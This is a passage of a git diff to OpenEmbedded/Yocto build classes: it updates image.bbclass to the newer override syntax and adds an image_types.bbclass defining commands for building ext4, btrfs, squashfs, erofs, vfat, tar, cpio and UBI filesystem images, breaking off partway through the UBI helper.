# Only Linux SDKs support populate_sdk_ext, fall back to populate_sdk_base
# in the non-Linux SDK_OS case, such as mingw32
-IMGCLASSES += "${@['populate_sdk_base', 'populate_sdk_ext']['linux' in d.getVar("SDK_OS")]}"
+inherit populate_sdk_base
+IMGCLASSES += "${@['', 'populate_sdk_ext']['linux' in d.getVar("SDK_OS")]}"
IMGCLASSES += "${@bb.utils.contains_any('IMAGE_FSTYPES', 'live iso hddimg', 'image-live', '', d)}"
IMGCLASSES += "${@bb.utils.contains('IMAGE_FSTYPES', 'container', 'image-container', '', d)}"
IMGCLASSES += "image_types_wic"
IMGCLASSES += "rootfs-postcommands"
IMGCLASSES += "image-postinst-intercepts"
-inherit ${IMGCLASSES}
+IMGCLASSES += "overlayfs-etc"
+inherit_defer ${IMGCLASSES}
TOOLCHAIN_TARGET_TASK += "${PACKAGE_INSTALL}"
TOOLCHAIN_TARGET_TASK_ATTEMPTONLY += "${PACKAGE_INSTALL_ATTEMPTONLY}"
-POPULATE_SDK_POST_TARGET_COMMAND += "rootfs_sysroot_relativelinks; "
+POPULATE_SDK_POST_TARGET_COMMAND += "rootfs_sysroot_relativelinks"
LICENSE ?= "MIT"
PACKAGES = ""
DEPENDS += "${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross depmodwrapper-cross cross-localedef-native"
RDEPENDS += "${PACKAGE_INSTALL} ${LINGUAS_INSTALL} ${IMAGE_INSTALL_DEBUGFS}"
RRECOMMENDS += "${PACKAGE_INSTALL_ATTEMPTONLY}"
-PATH_prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
INHIBIT_DEFAULT_DEPS = "1"
# IMAGE_FEATURES may contain any available package group
IMAGE_FEATURES ?= ""
IMAGE_FEATURES[type] = "list"
-IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs stateless-rootfs empty-root-password allow-empty-password allow-root-login post-install-logging"
+IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs read-only-rootfs-delayed-postinsts stateless-rootfs empty-root-password allow-empty-password allow-root-login serial-autologin-root post-install-logging overlayfs-etc"
# Generate companion debugfs?
IMAGE_GEN_DEBUGFS ?= "0"
-# These pacackages will be installed as additional into debug rootfs
+# These packages will be installed as additional into debug rootfs
IMAGE_INSTALL_DEBUGFS ?= ""
# These packages will be removed from a read-only rootfs after all other
@@ -53,7 +60,7 @@ FEATURE_INSTALL_OPTIONAL[vardepvalue] = "${FEATURE_INSTALL_OPTIONAL}"
# Define some very basic feature package groups
FEATURE_PACKAGES_package-management = "${ROOTFS_PKGMANAGE}"
-SPLASH ?= "psplash"
+SPLASH ?= "${@bb.utils.contains("MACHINE_FEATURES", "screen", "psplash", "", d)}"
FEATURE_PACKAGES_splash = "${SPLASH}"
IMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("IMAGE_FEATURES", d)}'
@@ -90,9 +97,10 @@ USE_DEPMOD ?= "1"
PID = "${@os.getpid()}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
+SSTATE_ARCHS_TUNEPKG = "${@all_multilib_tune_values(d, 'TUNE_PKGARCH')}"
LDCONFIGDEPEND ?= "ldconfig-native:do_populate_sysroot"
-LDCONFIGDEPEND_libc-musl = ""
+LDCONFIGDEPEND:libc-musl = ""
# This is needed to have depmod data in PKGDATA_DIR,
# but if you're building small initramfs image
@@ -112,16 +120,15 @@ def rootfs_command_variables(d):
'IMAGE_PREPROCESS_COMMAND','RPM_PREPROCESS_COMMANDS','RPM_POSTPROCESS_COMMANDS','DEB_PREPROCESS_COMMANDS','DEB_POSTPROCESS_COMMANDS']
python () {
- variables = rootfs_command_variables(d) + sdk_command_variables(d)
+ variables = rootfs_command_variables(d)
for var in variables:
- if d.getVar(var, False):
- d.setVarFlag(var, 'func', '1')
+ d.setVarFlag(var, 'vardeps', d.getVar(var))
}
def rootfs_variables(d):
from oe.rootfs import variable_depends
variables = ['IMAGE_DEVICE_TABLE','IMAGE_DEVICE_TABLES','BUILD_IMAGES_FROM_FEEDS','IMAGE_TYPES_MASKED','IMAGE_ROOTFS_ALIGNMENT','IMAGE_OVERHEAD_FACTOR','IMAGE_ROOTFS_SIZE','IMAGE_ROOTFS_EXTRA_SPACE',
- 'IMAGE_ROOTFS_MAXSIZE','IMAGE_NAME','IMAGE_LINK_NAME','IMAGE_MANIFEST','DEPLOY_DIR_IMAGE','IMAGE_FSTYPES','IMAGE_INSTALL_COMPLEMENTARY','IMAGE_LINGUAS', 'IMAGE_LINGUAS_COMPLEMENTARY',
+ 'IMAGE_ROOTFS_MAXSIZE','IMAGE_NAME','IMAGE_LINK_NAME','IMAGE_MANIFEST','DEPLOY_DIR_IMAGE','IMAGE_FSTYPES','IMAGE_INSTALL_COMPLEMENTARY','IMAGE_LINGUAS', 'IMAGE_LINGUAS_COMPLEMENTARY', 'IMAGE_LOCALES_ARCHIVE',
'MULTILIBRE_ALLOW_REP','MULTILIB_TEMP_ROOTFS','MULTILIB_VARIANTS','MULTILIBS','ALL_MULTILIB_PACKAGE_ARCHS','MULTILIB_GLOBAL_VARIANTS','BAD_RECOMMENDATIONS','NO_RECOMMENDATIONS',
'PACKAGE_ARCHS','PACKAGE_CLASSES','TARGET_VENDOR','TARGET_ARCH','TARGET_OS','OVERRIDES','BBEXTENDVARIANT','FEED_DEPLOYDIR_BASE_URI','INTERCEPT_DIR','USE_DEVFS',
'CONVERSIONTYPES', 'IMAGE_GEN_DEBUGFS', 'ROOTFS_RO_UNNEEDED', 'IMGDEPLOYDIR', 'PACKAGE_EXCLUDE_COMPLEMENTARY', 'REPRODUCIBLE_TIMESTAMP_ROOTFS', 'IMAGE_INSTALL_DEBUGFS']
@@ -131,14 +138,22 @@ def rootfs_variables(d):
do_rootfs[vardeps] += "${@rootfs_variables(d)}"
-do_build[depends] += "virtual/kernel:do_deploy"
+# This is needed to have kernel image in DEPLOY_DIR.
+# This follows many common usecases and user expectations.
+# But if you are building an image which doesn't need the kernel image at all,
+# you can unset this variable manually.
+KERNEL_DEPLOY_DEPEND ?= "virtual/kernel:do_deploy"
+do_build[depends] += "${KERNEL_DEPLOY_DEPEND}"
python () {
def extraimage_getdepends(task):
deps = ""
for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
- deps += " %s:%s" % (dep, task)
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
return deps
d.appendVarFlag('do_image_complete', 'depends', extraimage_getdepends('do_populate_sysroot'))
@@ -168,15 +183,19 @@ python () {
IMAGE_POSTPROCESS_COMMAND ?= ""
-# some default locales
-IMAGE_LINGUAS ?= "de-de fr-fr en-gb"
+IMAGE_LINGUAS ??= ""
LINGUAS_INSTALL ?= "${@" ".join(map(lambda s: "locale-base-%s" % s, d.getVar('IMAGE_LINGUAS').split()))}"
+# per default create a locale archive
+IMAGE_LOCALES_ARCHIVE ?= '1'
+
# Prefer image, but use the fallback files for lookups if the image ones
# aren't yet available.
PSEUDO_PASSWD = "${IMAGE_ROOTFS}:${STAGING_DIR_NATIVE}"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/intercept_scripts,${WORKDIR}/oe-rootfs-repo,${WORKDIR}/sstate-build-image_complete"
+
PACKAGE_EXCLUDE ??= ""
PACKAGE_EXCLUDE[type] = "list"
@@ -184,6 +203,7 @@ fakeroot python do_rootfs () {
from oe.rootfs import create_rootfs
from oe.manifest import create_manifest
import logging
+ import oe.packagedata
logger = d.getVar('BB_TASK_LOGGER', False)
if logger:
@@ -228,9 +248,9 @@ fakeroot python do_rootfs () {
# otherwise, the multilib renaming could step in and squash any fixups that
# may have occurred.
pn = d.getVar('PN')
- runtime_mapping_rename("PACKAGE_INSTALL", pn, d)
- runtime_mapping_rename("PACKAGE_INSTALL_ATTEMPTONLY", pn, d)
- runtime_mapping_rename("BAD_RECOMMENDATIONS", pn, d)
+ oe.packagedata.runtime_mapping_rename("PACKAGE_INSTALL", pn, d)
+ oe.packagedata.runtime_mapping_rename("PACKAGE_INSTALL_ATTEMPTONLY", pn, d)
+ oe.packagedata.runtime_mapping_rename("BAD_RECOMMENDATIONS", pn, d)
# Generate the initial manifest
create_manifest(d)
@@ -244,8 +264,7 @@ fakeroot python do_rootfs () {
progress_reporter.finish()
}
do_rootfs[dirs] = "${TOPDIR}"
-do_rootfs[cleandirs] += "${S} ${IMGDEPLOYDIR}"
-do_rootfs[umask] = "022"
+do_rootfs[cleandirs] += "${IMAGE_ROOTFS} ${IMGDEPLOYDIR} ${S}"
do_rootfs[file-checksums] += "${POSTINST_INTERCEPT_CHECKSUMS}"
addtask rootfs after do_prepare_recipe_sysroot
@@ -258,7 +277,6 @@ fakeroot python do_image () {
execute_pre_post_process(d, pre_process_cmds)
}
do_image[dirs] = "${TOPDIR}"
-do_image[umask] = "022"
addtask do_image after do_rootfs
fakeroot python do_image_complete () {
@@ -269,9 +287,8 @@ fakeroot python do_image_complete () {
execute_pre_post_process(d, post_process_cmds)
}
do_image_complete[dirs] = "${TOPDIR}"
-do_image_complete[umask] = "022"
SSTATETASKS += "do_image_complete"
-SSTATE_SKIP_CREATION_task-image-complete = '1'
+SSTATE_SKIP_CREATION:task-image-complete = '1'
do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
@@ -303,7 +320,7 @@ fakeroot python do_image_qa () {
except oe.utils.ImageQAFailed as e:
qamsg = qamsg + '\tImage QA function %s failed: %s\n' % (e.name, e.description)
except Exception as e:
- qamsg = qamsg + '\tImage QA function %s failed\n' % cmd
+ qamsg = qamsg + '\tImage QA function %s failed: %s\n' % (cmd, e)
if qamsg:
imgname = d.getVar('IMAGE_NAME')
@@ -312,7 +329,7 @@ fakeroot python do_image_qa () {
addtask do_image_qa after do_rootfs before do_image
SSTATETASKS += "do_image_qa"
-SSTATE_SKIP_CREATION_task-image-qa = '1'
+SSTATE_SKIP_CREATION:task-image-qa = '1'
do_image_qa[sstate-inputdirs] = ""
do_image_qa[sstate-outputdirs] = ""
python do_image_qa_setscene () {
@@ -380,8 +397,8 @@ python () {
if t.startswith("debugfs_"):
t = t[8:]
debug = "debugfs_"
- deps = (d.getVar('IMAGE_TYPEDEP_' + t) or "").split()
- vardeps.add('IMAGE_TYPEDEP_' + t)
+ deps = (d.getVar('IMAGE_TYPEDEP:' + t) or "").split()
+ vardeps.add('IMAGE_TYPEDEP:' + t)
if baset not in typedeps:
typedeps[baset] = set()
deps = [debug + dep for dep in deps]
@@ -429,21 +446,22 @@ python () {
localdata.delVar('DATETIME')
localdata.delVar('DATE')
localdata.delVar('TMPDIR')
- vardepsexclude = (d.getVarFlag('IMAGE_CMD_' + realt, 'vardepsexclude', True) or '').split()
+ localdata.delVar('IMAGE_VERSION_SUFFIX')
+ vardepsexclude = (d.getVarFlag('IMAGE_CMD:' + realt, 'vardepsexclude') or '').split()
for dep in vardepsexclude:
localdata.delVar(dep)
image_cmd = localdata.getVar("IMAGE_CMD")
- vardeps.add('IMAGE_CMD_' + realt)
+ vardeps.add('IMAGE_CMD:' + realt)
if image_cmd:
cmds.append("\t" + image_cmd)
else:
bb.fatal("No IMAGE_CMD defined for IMAGE_FSTYPES entry '%s' - possibly invalid type name or missing support class" % t)
cmds.append(localdata.expand("\tcd ${IMGDEPLOYDIR}"))
- # Since a copy of IMAGE_CMD_xxx will be inlined within do_image_xxx,
- # prevent a redundant copy of IMAGE_CMD_xxx being emitted as a function.
- d.delVarFlag('IMAGE_CMD_' + realt, 'func')
+ # Since a copy of IMAGE_CMD:xxx will be inlined within do_image_xxx,
+ # prevent a redundant copy of IMAGE_CMD:xxx being emitted as a function.
+ d.delVarFlag('IMAGE_CMD:' + realt, 'func')
rm_tmp_images = set()
def gen_conversion_cmds(bt):
@@ -455,23 +473,22 @@ python () {
# Create input image first.
gen_conversion_cmds(type)
localdata.setVar('type', type)
- cmd = "\t" + (localdata.getVar("CONVERSION_CMD_" + ctype) or localdata.getVar("COMPRESS_CMD_" + ctype))
+ cmd = "\t" + localdata.getVar("CONVERSION_CMD:" + ctype)
if cmd not in cmds:
cmds.append(cmd)
- vardeps.add('CONVERSION_CMD_' + ctype)
- vardeps.add('COMPRESS_CMD_' + ctype)
+ vardeps.add('CONVERSION_CMD:' + ctype)
subimage = type + "." + ctype
if subimage not in subimages:
subimages.append(subimage)
if type not in alltypes:
- rm_tmp_images.add(localdata.expand("${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"))
+ rm_tmp_images.add(localdata.expand("${IMAGE_NAME}.${type}"))
for bt in basetypes[t]:
gen_conversion_cmds(bt)
localdata.setVar('type', realt)
if t not in alltypes:
- rm_tmp_images.add(localdata.expand("${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"))
+ rm_tmp_images.add(localdata.expand("${IMAGE_NAME}.${type}"))
else:
subimages.append(realt)
@@ -505,7 +522,7 @@ python () {
# Compute the rootfs size
#
def get_rootfs_size(d):
- import subprocess
+ import subprocess, oe.utils
rootfs_alignment = int(d.getVar('IMAGE_ROOTFS_ALIGNMENT'))
overhead_factor = float(d.getVar('IMAGE_OVERHEAD_FACTOR'))
@@ -516,9 +533,7 @@ def get_rootfs_size(d):
initramfs_fstypes = d.getVar('INITRAMFS_FSTYPES') or ''
initramfs_maxsize = d.getVar('INITRAMFS_MAXSIZE')
- output = subprocess.check_output(['du', '-ks',
- d.getVar('IMAGE_ROOTFS')])
- size_kb = int(output.split()[0])
+ size_kb = oe.utils.directory_size(d.getVar("IMAGE_ROOTFS")) / 1024
base_size = size_kb * overhead_factor
bb.debug(1, '%f = %d * %f' % (base_size, size_kb, overhead_factor))
@@ -580,13 +595,12 @@ python create_symlinks() {
manifest_name = d.getVar('IMAGE_MANIFEST')
taskname = d.getVar("BB_CURRENTTASK")
subimages = (d.getVarFlag("do_" + taskname, 'subimages', False) or "").split()
- imgsuffix = d.getVarFlag("do_" + taskname, 'imgsuffix') or d.expand("${IMAGE_NAME_SUFFIX}.")
if not link_name:
return
for type in subimages:
dst = os.path.join(deploy_dir, link_name + "." + type)
- src = img_name + imgsuffix + type
+ src = img_name + "." + type
if os.path.exists(os.path.join(deploy_dir, src)):
bb.note("Creating symlink: %s -> %s" % (dst, src))
if os.path.islink(dst):
@@ -596,7 +610,7 @@ python create_symlinks() {
bb.note("Skipping symlink, source does not exist: %s -> %s" % (dst, src))
}
-MULTILIBRE_ALLOW_REP =. "${base_bindir}|${base_sbindir}|${bindir}|${sbindir}|${libexecdir}|${sysconfdir}|${nonarch_base_libdir}/udev|/lib/modules/[^/]*/modules.*|"
+MULTILIBRE_ALLOW_REP += "${base_bindir} ${base_sbindir} ${bindir} ${sbindir} ${libexecdir} ${sysconfdir} ${nonarch_base_libdir}/udev /lib/modules/[^/]*/modules.*"
MULTILIB_CHECK_FILE = "${WORKDIR}/multilib_check.py"
MULTILIB_TEMP_ROOTFS = "${WORKDIR}/multilib"
@@ -610,7 +624,7 @@ deltask do_populate_lic
deltask do_populate_sysroot
do_package[noexec] = "1"
deltask do_package_qa
-do_packagedata[noexec] = "1"
+deltask do_packagedata
deltask do_package_write_ipk
deltask do_package_write_deb
deltask do_package_write_rpm
@@ -619,20 +633,20 @@ deltask do_package_write_rpm
create_merged_usr_symlinks() {
root="$1"
install -d $root${base_bindir} $root${base_sbindir} $root${base_libdir}
- lnr $root${base_bindir} $root/bin
- lnr $root${base_sbindir} $root/sbin
- lnr $root${base_libdir} $root/${baselib}
+ ln -rs $root${base_bindir} $root/bin
+ ln -rs $root${base_sbindir} $root/sbin
+ ln -rs $root${base_libdir} $root/${baselib}
if [ "${nonarch_base_libdir}" != "${base_libdir}" ]; then
install -d $root${nonarch_base_libdir}
- lnr $root${nonarch_base_libdir} $root/lib
+ ln -rs $root${nonarch_base_libdir} $root/lib
fi
# create base links for multilibs
multi_libdirs="${@d.getVar('MULTILIB_VARIANTS')}"
for d in $multi_libdirs; do
install -d $root${exec_prefix}/$d
- lnr $root${exec_prefix}/$d $root/$d
+ ln -rs $root${exec_prefix}/$d $root/$d
done
}
@@ -644,21 +658,19 @@ create_merged_usr_symlinks_sdk() {
create_merged_usr_symlinks ${SDK_OUTPUT}${SDKTARGETSYSROOT}
}
-ROOTFS_PREPROCESS_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_rootfs; ', '',d)}"
-POPULATE_SDK_PRE_TARGET_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_sdk; ', '',d)}"
+ROOTFS_PREPROCESS_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_rootfs', '',d)}"
+POPULATE_SDK_PRE_TARGET_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_sdk', '',d)}"
reproducible_final_image_task () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+ if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
- if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
- fi
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
fi
- # Set mtime of all files to a reproducible value
- bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
- find ${IMAGE_ROOTFS} -exec touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS {} \;
fi
+ # Set mtime of all files to a reproducible value
+ bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
+ find ${IMAGE_ROOTFS} -print0 | xargs -0 touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS
}
systemd_preset_all () {
@@ -667,6 +679,6 @@ systemd_preset_all () {
fi
}
-IMAGE_PREPROCESS_COMMAND_append = " ${@ 'systemd_preset_all;' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task; "
+IMAGE_PREPROCESS_COMMAND:append = " ${@ 'systemd_preset_all' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task "
CVE_PRODUCT = ""
diff --git a/meta/classes-recipe/image_types.bbclass b/meta/classes-recipe/image_types.bbclass
new file mode 100644
index 0000000000..913cb8788c
--- /dev/null
+++ b/meta/classes-recipe/image_types.bbclass
@@ -0,0 +1,387 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# The default aligment of the size of the rootfs is set to 1KiB. In case
+# you're using the SD card emulation of a QEMU system simulator you may
+# set this value to 2048 (2MiB alignment).
+IMAGE_ROOTFS_ALIGNMENT ?= "1"
+
+def imagetypes_getdepends(d):
+ def adddep(depstr, deps):
+ for d in (depstr or "").split():
+ # Add task dependency if not already present
+ if ":" not in d:
+ d += ":do_populate_sysroot"
+ deps.add(d)
+
+ # Take a type in the form of foo.bar.car and split it into the items
+ # needed for the image deps "foo", and the conversion deps ["bar", "car"]
+ def split_types(typestring):
+ types = typestring.split(".")
+ return types[0], types[1:]
+
+ fstypes = set((d.getVar('IMAGE_FSTYPES') or "").split())
+ fstypes |= set((d.getVar('IMAGE_FSTYPES_DEBUGFS') or "").split())
+
+ deprecated = set()
+ deps = set()
+ for typestring in fstypes:
+ basetype, resttypes = split_types(typestring)
+
+ var = "IMAGE_DEPENDS_%s" % basetype
+ if d.getVar(var) is not None:
+ deprecated.add(var)
+
+ for typedepends in (d.getVar("IMAGE_TYPEDEP:%s" % basetype) or "").split():
+ base, rest = split_types(typedepends)
+ resttypes += rest
+
+ var = "IMAGE_DEPENDS_%s" % base
+ if d.getVar(var) is not None:
+ deprecated.add(var)
+
+ for ctype in resttypes:
+ adddep(d.getVar("CONVERSION_DEPENDS_%s" % ctype), deps)
+ adddep(d.getVar("COMPRESS_DEPENDS_%s" % ctype), deps)
+
+ if deprecated:
+ bb.fatal('Deprecated variable(s) found: "%s". '
+ 'Use do_image_<type>[depends] += "<recipe>:<task>" instead' % ', '.join(deprecated))
+
+ # Sort the set so that ordering is consistant
+ return " ".join(sorted(deps))
+
+XZ_COMPRESSION_LEVEL ?= "-6"
+XZ_INTEGRITY_CHECK ?= "crc32"
+
+ZIP_COMPRESSION_LEVEL ?= "-9"
+
+7ZIP_COMPRESSION_LEVEL ?= "9"
+7ZIP_COMPRESSION_METHOD ?= "BZip2"
+7ZIP_EXTENSION ?= "7z"
+
+JFFS2_SUM_EXTRA_ARGS ?= ""
+IMAGE_CMD:jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}.jffs2 ${EXTRA_IMAGECMD}"
+
+IMAGE_CMD:cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}.cramfs ${EXTRA_IMAGECMD}"
+
+oe_mkext234fs () {
+ fstype=$1
+ extra_imagecmd=""
+
+ if [ $# -gt 1 ]; then
+ shift
+ extra_imagecmd=$@
+ fi
+
+ # If generating an empty image the size of the sparse block should be large
+ # enough to allocate an ext4 filesystem using 4096 bytes per inode, this is
+ # about 60K, so dd needs a minimum count of 60, with bs=1024 (bytes per IO)
+ eval local COUNT=\"0\"
+ eval local MIN_COUNT=\"60\"
+ if [ $ROOTFS_SIZE -lt $MIN_COUNT ]; then
+ eval COUNT=\"$MIN_COUNT\"
+ fi
+ # Create a sparse image block
+ bbdebug 1 Executing "dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype seek=$ROOTFS_SIZE count=$COUNT bs=1024"
+ dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype seek=$ROOTFS_SIZE count=$COUNT bs=1024
+ bbdebug 1 "Actual Rootfs size: `du -s ${IMAGE_ROOTFS}`"
+ bbdebug 1 "Actual Partition size: `stat -c '%s' ${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype`"
+ bbdebug 1 Executing "mkfs.$fstype -F $extra_imagecmd ${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype -d ${IMAGE_ROOTFS}"
+ mkfs.$fstype -F $extra_imagecmd ${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype -d ${IMAGE_ROOTFS}
+ # Error codes 0-3 indicate successfull operation of fsck (no errors or errors corrected)
+ fsck.$fstype -pvfD ${IMGDEPLOYDIR}/${IMAGE_NAME}.$fstype || [ $? -le 3 ]
+}
+
+IMAGE_CMD:ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
+
+MIN_BTRFS_SIZE ?= "16384"
+IMAGE_CMD:btrfs () {
+ size=${ROOTFS_SIZE}
+ if [ ${size} -lt ${MIN_BTRFS_SIZE} ] ; then
+ size=${MIN_BTRFS_SIZE}
+ bbwarn "Rootfs size is too small for BTRFS. Filesystem will be extended to ${size}K"
+ fi
+ dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}.btrfs seek=${size} count=0 bs=1024
+ mkfs.btrfs ${EXTRA_IMAGECMD} -r ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}.btrfs
+}
+
+oe_mksquashfs () {
+ local comp=$1
+ local suffix=$2
+
+ # Use the bitbake reproducible timestamp instead of the hardcoded squashfs one
+ export SOURCE_DATE_EPOCH=$(stat -c '%Y' ${IMAGE_ROOTFS})
+ mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}.squashfs${comp:+-}${suffix:-$comp} ${EXTRA_IMAGECMD} -noappend ${comp:+-comp }$comp
+}
+IMAGE_CMD:squashfs = "oe_mksquashfs"
+IMAGE_CMD:squashfs-xz = "oe_mksquashfs xz"
+IMAGE_CMD:squashfs-lzo = "oe_mksquashfs lzo"
+IMAGE_CMD:squashfs-lz4 = "oe_mksquashfs lz4"
+IMAGE_CMD:squashfs-zst = "oe_mksquashfs zstd zst"
+
+IMAGE_CMD:erofs = "mkfs.erofs ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}.erofs ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4 = "mkfs.erofs -zlz4 ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}.erofs-lz4 ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4hc = "mkfs.erofs -zlz4hc ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}.erofs-lz4hc ${IMAGE_ROOTFS}"
+
+# Note that vfat can't handle all types of files that a real linux file system
+# can (e.g. device files, symlinks, etc.) and therefore it not suitable for all
+# use cases
+oe_mkvfatfs () {
+ mkfs.vfat $@ -C ${IMGDEPLOYDIR}/${IMAGE_NAME}.vfat ${ROOTFS_SIZE}
+ mcopy -i "${IMGDEPLOYDIR}/${IMAGE_NAME}.vfat" -vsmpQ ${IMAGE_ROOTFS}/* ::/
+}
+
+IMAGE_CMD:vfat = "oe_mkvfatfs ${EXTRA_IMAGECMD}"
+
+IMAGE_CMD_TAR ?= "tar"
+# ignore return code 1 "file changed as we read it" as other tasks(e.g. do_image_wic) may be hardlinking rootfs
+IMAGE_CMD:tar = "${IMAGE_CMD_TAR} --sort=name --format=posix --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
+
+do_image_cpio[cleandirs] += "${WORKDIR}/cpio_append"
+IMAGE_CMD:cpio () {
+ (cd ${IMAGE_ROOTFS} && find . | sort | cpio --reproducible -o -H newc >${IMGDEPLOYDIR}/${IMAGE_NAME}.cpio)
+ # We only need the /init symlink if we're building the real
+ # image. The -dbg image doesn't need it! By being clever
+ # about this we also avoid 'touch' below failing, as it
+ # might be trying to touch /sbin/init on the host since both
+ # the normal and the -dbg image share the same WORKDIR
+ if [ "${IMAGE_BUILDING_DEBUGFS}" != "true" ]; then
+ if [ ! -L ${IMAGE_ROOTFS}/init ] && [ ! -e ${IMAGE_ROOTFS}/init ]; then
+ if [ -L ${IMAGE_ROOTFS}/sbin/init ] || [ -e ${IMAGE_ROOTFS}/sbin/init ]; then
+ ln -sf /sbin/init ${WORKDIR}/cpio_append/init
+ touch -h -r ${IMAGE_ROOTFS}/sbin/init ${WORKDIR}/cpio_append/init
+ else
+ touch -r ${IMAGE_ROOTFS} ${WORKDIR}/cpio_append/init
+ fi
+ (cd ${WORKDIR}/cpio_append && echo ./init | cpio --reproducible -oA -H newc -F ${IMGDEPLOYDIR}/${IMAGE_NAME}.cpio)
+ fi
+ fi
+}
+
+UBI_VOLNAME ?= "${MACHINE}-rootfs"
+UBI_VOLTYPE ?= "dynamic"
+UBI_IMGTYPE ?= "ubifs"
+
+write_ubi_config() {
+ local vname="$1"
+
+ cat <<EOF > ubinize${vname}-${IMAGE_NAME}.cfg
+[ubifs]
+mode=ubi
+image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}.${UBI_IMGTYPE}
+vol_id=0
+vol_type=${UBI_VOLTYPE}
+vol_name=${UBI_VOLNAME}
+vol_flags=autoresize
+EOF
+}
+
+multiubi_mkfs() {
+ local mkubifs_args="$1"
+ local ubinize_args="$2"
+
+ # Added prompt error message for ubi and ubifs image creation.
+ if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then
+ bbfatal "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details"
+ fi
+
+ if [ -z "$3" ]; then
+ local vname=""
+ else
+ local vname="_$3"
+ fi
+ write_ubi_config "${vname}"
+
+ if [ -n "$vname" ]; then
+ mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}.ubifs ${mkubifs_args}
+ fi
+ ubinize -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}.ubi ${ubinize_args} ubinize${vname}-${IMAGE_NAME}.cfg
+
+ # Cleanup cfg file
+ mv ubinize${vname}-${IMAGE_NAME}.cfg ${IMGDEPLOYDIR}/
+
+ # Create own symlinks for 'named' volumes
+ if [ -n "$vname" ]; then
+ cd ${IMGDEPLOYDIR}
+ if [ -e ${IMAGE_NAME}${vname}.ubifs ]; then
+ ln -sf ${IMAGE_NAME}${vname}.ubifs \
+ ${IMAGE_LINK_NAME}${vname}.ubifs
+ fi
